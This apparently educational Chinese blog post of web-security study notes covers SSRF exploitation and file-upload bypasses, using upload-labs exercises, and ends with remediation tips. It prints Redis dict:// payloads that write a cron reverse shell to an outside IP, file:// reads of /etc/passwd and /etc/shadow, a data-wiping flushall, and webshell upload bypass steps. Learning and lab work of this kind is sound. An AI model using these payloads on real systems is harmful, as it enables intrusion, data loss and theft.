Web安全学习笔记4

服务器端请求伪造漏洞(SSRF)

服务器请求是从客户端发起一个请求到服务器,服务器再向另外的服务器发起请求的过程。

服务器端请求伪造(Server-side Request Forgery,简称SSRF)是一种由攻击者构造形成由服务器端发起请求的一个漏洞。SSRF让服务器去请求你通常请求不到的东西,一般用来在外网探测或攻击内网服务。

漏洞的分类

造成漏洞的函数(涉及到网络访问的函数):

PHP中的函数:curl_exec(),file_get_contents(),fsockopen()

Java中的相关类:仅支持HTTP/HTTPS协议的类:HttpClient类,HttpURLConnection类,OkHttp类,Request类;支持sun.net.www.protocol所有协议的类:URLConnection类,URL类,imageIO类。

判断漏洞是否存在:在目标网站上输入攻击者的服务器IP,如果攻击者的服务器日志能看到目标服务器对自己发起了请求,说明存在漏洞。

按显示结果分为:

有回显和无回显

SSRF利用

1.读取敏感文件

file协议:本地文件传输协议,用于访问本地计算机中的文件。格式:file://filepath

重要文件:

1./etc/passwd:在Linux中,/etc/passwd文件中一行记录对应着一个用户,每行记录又被冒号分隔为七个字段: 用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录 shell

2./etc/shadow:用于储存Linux系统中用户的密码信息(哈希值),只有root用户拥有读取权限。

3./etc/hosts:在Linux中,主要作用是定义IP地址和主机名的映射关系,是一个映射IP地址和主机名的规定

2.探测内网服务

dict协议:一个字典服务器协议,在ssrf中场用于探测目标服务器端口上运行的服务版本信息。格式:dict://ip:port。先利用file///etc/hosts获取ip,再通过dict协议读取目标服务器端口上运行的服务版本信息。

探测内网存货IP和开放端口:可利用burp suite,批量探测存活IP和开放端口。

探测内网redis:是跨平台的非关系型数据库。redis一般绑定在本地(不允许远程访问),默认不开启认证,默认端口为6379.如果在没有开启认证的情况下可以导致任意用户利用ssrf漏洞攻击内网中的未授权redis以及读取redis的数据。利用dict://127.0.0.1:6379有返回信息,说明存在redis数据库。

3.攻击内网应用

设置定时任务,用于定时执行某些命令,达到定时处理数据的作用。

攻击payload:

dict://127.0.0.1:6379/info  查看信息

dict://127.0.0.1:6379/flushall  清空数据库(慎用)

dict://127.0.0.1:6379/config set dir /var/spool/cron/  设置工作目录

dict://127.0.0.1:6379/config set dbfilename root  设置备份文件名

dict://127.0.0.1:6379/set x "\n* * * * * bash-i &> /dev/tcp/120.27.61.239/2333 0>&1\n"  反弹shell

dict://127.0.0.1:6379/save  保存

文件上传漏洞

上传文件的时候,如果服务器后端未对上传的文件进行严格的过滤和验证,就可能造成上传恶意文件的情况,造成文件上传漏洞

常见场景是web服务器允许用户上传图片或普通文本文件,而攻击者绕过上传机制上传恶意代码文件并执行从而控制服务器。这个恶意代码文件(php,asp,aspx,jsp等)就是webshell。

文件检测机制与绕过方式

大多数网站存在文件检测机制,不会允许任意文件上传。常见的文件检测方法有

客户端检测

客户端检测一般是在网页上写一段JavaScript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。

判断方法:在浏览加载文件,点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包,burp拦截不下来。

绕过方法(以upload-labs第一关为例)

1.burp抓包,发现没有回显,可以判断是客户端检测。

2.在火狐浏览器中关闭JavaScript服务

3.随后上传一句话木马文件就不会报错

4.点开上传图片后的网址并打开中国蚁剑输入网址和密码实现控制。

服务端检测

服务端检测就是网站对用户上传的文件的检测代码放置在服务器里,当用户上传的文件通过了检测才会被允许保存在服务器里,主要分为三类:

1.MIME类型检测

2.文件后缀检测

3.文件内容检测

MIME类型检测

MIME简单来说就是用来表示我们提交的数据的类型。

检测方法:通过检查http包的Content-Type字段中的值来判断上传文件是否合法。一般采取白名单的方式来检测。如只能上传图像文件的话就想Content-Type头就必须为image/jpeg或image/png或image/gif。http数据包中在Content-Type字段常见值有:

文本:text/plain,text/html,text/css,text/javascript,text/xml

图片:image/gif,image/png,image/jpeg

视频:video/webm,video/ogg

音频:audio/midi,audio/mpeg,audio/webm,audio/ogg,audio/wav

二进制:application/octet-stream,application/pdf,application/json

在表单中进行文件上传:multipart/form-data

绕过:一般来说网站的上传点都是允许上传图片的,所以可以利用burp suite截取并修改Content-Type字段的值为图片类型的值从而进行绕过。

演示(以upload-labs第二关为例)

利用burp拦截如图

我们只需要将检测方式修改为image/png即可完成绕过:

随后再发包即可绕过,最后再用中国蚁剑即可完成

文件后缀检测

主要有黑名单检测和白名单检测

黑名单检测

一般情况下,代码文件里会有一个数组或者列表,该数组或列表会包含一些非法的字符或者字符串,当数据包中含有这些字符或字符串时,即认定该数据包是非法的

如何确认是黑名单检测:黑名单是有限的,可以随意构建一个文件后缀,如果可以上传,那就证明时黑名单检测。

绕过方法:

1.后缀双写绕过:有些代码中,会将文件后缀符合黑名单列表的字符串替换为空,比如将php替换为空,这时可以将木马文件名命名为webshell.pphphp,这样上传后的文件名就是webshell。php具体命名根据文件类型和替换规则决定,可参考靶场pass-11

2.后缀大小写绕过:可以上传后缀为大写字母的文件,利用windows对大小写不敏感,来访问和执行代码,可以参考靶场pass-6

3.其他可解析后缀绕过:利用其他后缀绕过:PHP:php2,php3,php5,phtml,pht(是否解析需要根据配置文件中设置类型来决定);ASP:asa,cer,cdx;ASPX:ascx,ashx,asac;

JSP:jspx,jspf。可以参考靶场3

4.图片+配置文件绕过: .htaccess文件,是apache服务器的一个配置文件,提供了针对目录改变配置的方法。.htaccess文件可以修改apache的配置,但仅用于当前目录。比如新建一个.htaccess文件:

<FilesMatch "webshell.png">

setHandler application/x-httpd-php

</FilesMatch>

通过一个.htaccess文件调用php解析器去解析一个文件名只要包含webshell.png这个字符的任意文件。所以无论文件名是什么只要包含特定字符串就会被解析。一个自定的.htaccess文件就可以以各种方式去绕过很多上传验证机制。在测试时,可以先上传这个.htaccess文件,在上传webshell.png文件。可以参考靶场pass-4

白名单检测

白名单:一般情况下,代码文件里会有一个数组或者列表,该数组或者列表里会包含一些合法的字符或者字符串,如果数据包的文件后缀不符合白名单,就不允许上传。

如何确认是白名单检测:上传一张图片和一个自己构造的后缀,如果只能上传图片,不能上传其他后缀文件,说明是白名单检测。

绕过方式:可以利用00截断的方式进行绕过,包括%00阶段和0x00阶段

前提:

php:php<5.3.29且php.ini文件中magic_quotes_gpc=off

java:jdk<JDK1.7.0_40

%00截断:%00是一个url编码,url发送到服务器后被服务器解码,这时还没有被传到验证函数,也就是说验证函数里接收到的不是%00,二十%00解码后的0x00.在url中%00表示ascii码中的0,而ascii中的0作为特殊字符保留,表示字符串结束,所以当url出现%00时就会认为读取已经结束

演示(以upload-labs第十二关为例):

0x00截断:

0x开头代表十六进制,0在十六进制中是00,0x00就是%00解码成的十六进制

演示(以uploads-labs13关为例):

在上传文件的请求包中添加0x00阶段

文件内容检测

文件内容检测就是检测上传的文件里面的内容,包括:

文件幻术检测:通常情况下,通过判断10个字节,基本能够判断出一个文件的真实类型。

文件加载检测:一般是调用api或函数对文件进行加载测试。常见的就是对图像进行二次渲染。

文件幻术检测:

文件幻术,它可以用来标记文件或者协议的格式,很多文件都有幻数标志来表示文件的格式

绕过方法:将图片用16进制编辑器编辑并在最后一行写入木马:

二次渲染:

根据用户上传的图片,新生成一个图片,将原始图片删除,将新图片添加到特殊的数据库中。比如一些网站根据用户上传的图片生成大中小不同尺寸的图像。

绕过方法:先上传一张图片,再重新将图片下载下来作比较,然后在相同的地方(00的地方)插入webshell

文件上传漏洞修复

1.上传的目录设置为不可执行,只要web容器无法解析该目录下面的文件,即便攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要

2.对文件后缀的判断中使用白名单的方式

3.文件服务器和web服务器分离,也就是上传的文件单独存放在其他的服务器中

4.不需要返回文件路径的情况下,随即改写文件名

  • 31
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值